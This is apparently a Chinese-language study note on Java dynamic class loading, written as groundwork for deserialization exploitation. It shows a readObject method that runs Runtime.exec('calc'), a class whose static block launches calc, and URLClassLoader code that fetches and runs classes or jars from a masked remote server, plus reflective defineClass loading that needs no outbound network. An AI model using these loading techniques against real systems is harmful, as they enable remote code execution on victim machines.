类的动态加载
即虚拟机加载.class
文件
在类加载的时候会执行代码
初始化:静态代码块
实例化:构造代码块、无参构造函数
实例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| public class Person implements Serializable {
public String name; private int age;
public static int id;
static { System.out.println("这是静态代码块"); }
public static void staticAction(){ System.out.println("这是静态方法"); }
{ System.out.println("这是构造代码块"); }
public Person(){ System.out.println("这是无参Person"); } public Person(String name, int age){ this.name = name; this.age = age; }
@Override public String toString(){ return "Person{" + "name='" + name + '\'' + ", age=" + age + '}'; }
private void action(String act){ System.out.println(act); }
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException{ ois.defaultReadObject(); Runtime.getRuntime().exec("calc"); } }
|
创建一个加载类:
1 2 3 4 5 6 7
| package bli_seri;
public class LoadClassTest { public static void main(String[] args) throws Exception{ new Person(); } }
|
输出:
注意这里的静态代码块仅会在初始化时执行一次,因为刚刚在测试的时候 打算一次输出,但是发现只会产生一次
动态类加载方法:
Class.forName
: 可以选择是否进行初始化 注意!避坑,如果想加载的类在不同包里 一定要加上包名
初始化:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package bli_seri;
public class LoadClassTest { public static void main(String[] args) throws Exception{ Class c = Person.class; System.out.println(c); Class.forName(c.getName()); Class.forName("bli_seri.Person"); } }
|
不初始化:
可控:
流程:
继承关系:
ClassLoader -> SecureClassLoader -> URLClassLoader -> AppClassLoader
调用关系:
loaClass -> findClass(重写方法) -> defineClass(从字节码加载类)
我们想根据这个底层的原理 实现对任意类进行加载
javac原理:
将源码文件.java
编译成对应的字节码文件.class
下面尝试使用URLClassLoader进行尝试
testCalc文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package TryLoad;
import java.io.IOException;
public class testCalc { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); }
} }
|
注意小锤子是编译 生成.class
放在指定路径下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| package bli_seri;
import java.net.URL; import java.net.URLClassLoader;
public class LoadClassTest { public static void main(String[] args) throws Exception{
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///F:\\tmp\\classes\\")}); Class<?> c = urlClassLoader.loadClass("TryLoad.testCalc"); c.newInstance();
} }
|
一定要注意这种有包的路径问题
执行成功
http协议:
有一个避坑点,这个可能在真实利用的场景中没影响,就是idea对本地的url无法发起请求 但是对外部服务器可以正常执行
执行代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| package bli_seri;
import java.lang.reflect.Field; import java.lang.reflect.Method; import java.net.URL; import java.net.URLClassLoader; import java.nio.file.Files; import java.nio.file.Paths;
public class LoadClassTest { public static void main(String[] args) throws Exception{ URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://120.xxx.xxx.xxx:7789/")}); Class<?> c = urlClassLoader.loadClass("Test");
c.newInstance();
} }
|
文件信息: 也补充一个杀死端口进程的方法
jar协议:
对单独的class文件进行打包 成jar文件
命令:jar -cvf Calc.jar Clac.class
http读取方法:
代码: 注意格式
1 2 3 4 5 6 7 8 9 10 11 12
| import java.net.URL; import java.net.URLClassLoader;
public class tryCalc { public static void main(String[] args) throws Exception{
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("jar:http://120.xxx.xxx.xxx:7789/Test.jar!/")}); Class calc = urlClassLoader.loadClass("Test"); calc.newInstance(); } }
|
file读取方法:
文件位置
1 2 3 4 5 6 7
|
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); defineClassMethod.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("F:\\tmp\\classes\\Test.class")); Class cd = (Class) defineClassMethod.invoke(cl, "Test", code, 0, code.length); cd.newInstance();
|
通用一些,因为相比于http可以做到不出网